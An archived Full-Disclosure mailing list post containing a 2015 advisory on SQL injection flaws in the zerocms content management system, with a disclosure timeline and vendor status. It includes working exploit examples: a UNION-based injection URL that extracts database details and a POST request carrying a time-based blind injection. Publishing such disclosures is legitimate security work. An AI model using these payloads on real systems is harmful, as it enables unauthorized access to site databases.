lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CALH-=7zOBpp4_pdY0OemvYtpqdvsju=ENLBeSm_AC_mssRx6VA@mail.gmail.com> Date: Sat, 31 Jan 2015 10:41:09 +0100 From: Steffen Rösemann <steffen.roesemann1986@...il.com> To: fulldisclosure@...lists.org Subject: [FD] SQL injection vulnerabilities in zerocms <= v.1.3.3 Advisory: SQL injection vulnerabilities in zerocms <= v.1.3.3 Advisory ID: SROEADV-2015-13 Author: Steffen Rösemann Affected Software: zerocms <= v.1.3.3 (released 23rd-Jan-2015) Vendor URL: http://aas9.in/zerocms/ Vendor Status: platform will be moving to Rails4 CVE-ID: - ========================== Vulnerability Description: ========================== Content management system Zerocms v. 1.3.3 suffers from SQL injection vulnerabilities. ================== Technical Details: ================== The article_id-parameter used in zero_view_article.php is vulnerable to SQL injection. It is located here in a common Zerocms-installation and can be exploited even by unregistered users: http://{TARGET}/views/zero_view_article.php?article_id=1 Exploit-Example: http:// {TARGET}/views/zero_view_article.php?article_id=-1+union+select+database%28%29,2,version%28%29,user%28%29,5,6+--+ A Blind SQL injection vulnerability can be found the file zero_user_transact.php. The parameter user_id is vulnerable to SQL injection. See the following example POST-request which serves as exploit-example: POST /views/zero_transact_user.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://{TARGET}/views/zero_user_account.php?user_id=2 Cookie: PHPSESSID=rirftt07h0dem8d48lujliuve6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 91 name=user&email=user%40user.de&access_level=1&user_id=2 AND SLEEP(30)&action=Modify+Account The Blind SQL injection vulnerability can be exploited on the administrative backend of Zerocms. The vulnerabilities described above have been tested on the following versions of Zerocms: - v. 1.3.2 - v. 1.3.3 ========= Solution: ========= Vendor seems not to provide a patch for this vulnerabilities as version 1.3.3 is the last release for this PHP-based platform. It will be developed on the Rails4-platform in future releases (see Github repository, release section). ==================== Disclosure Timeline: ==================== 23-Jan-2015 – found the vulnerabilities in v.1.3.2 23-Jan-2015 - informed the developers (see [3]) 23-Jan-2015 – release date of this security advisory [without technical details] 23-Jan-2015 - forked the vulnerable version to keep it available for other researchers (see [4]) 23-Jan-2015 - developer released v.1.3.3 of zerocms 24-Jan-2015 - vulnerabilities can also be found in v.1.3.3 29-Jan-2015 - as vendor will move the platform to Rails4, it seems that there will be no patch provided (see [5]) 29-Jan-2015 - release date of this security advisory 29-Jan-2015 - send to FullDisclosure ======== Credits: ======== Vulnerability found and advisory written by Steffen Rösemann. =========== References: =========== [1] http://aas9.in/zerocms/ [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-13.html [3] https://github.com/perezkarjee/zerocms/issues/3 [4] https://github.com/sroesemann/zerocms [5] https://twitter.com/sroesemann/status/559273548691546113 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
Powered by blists - more mailing lists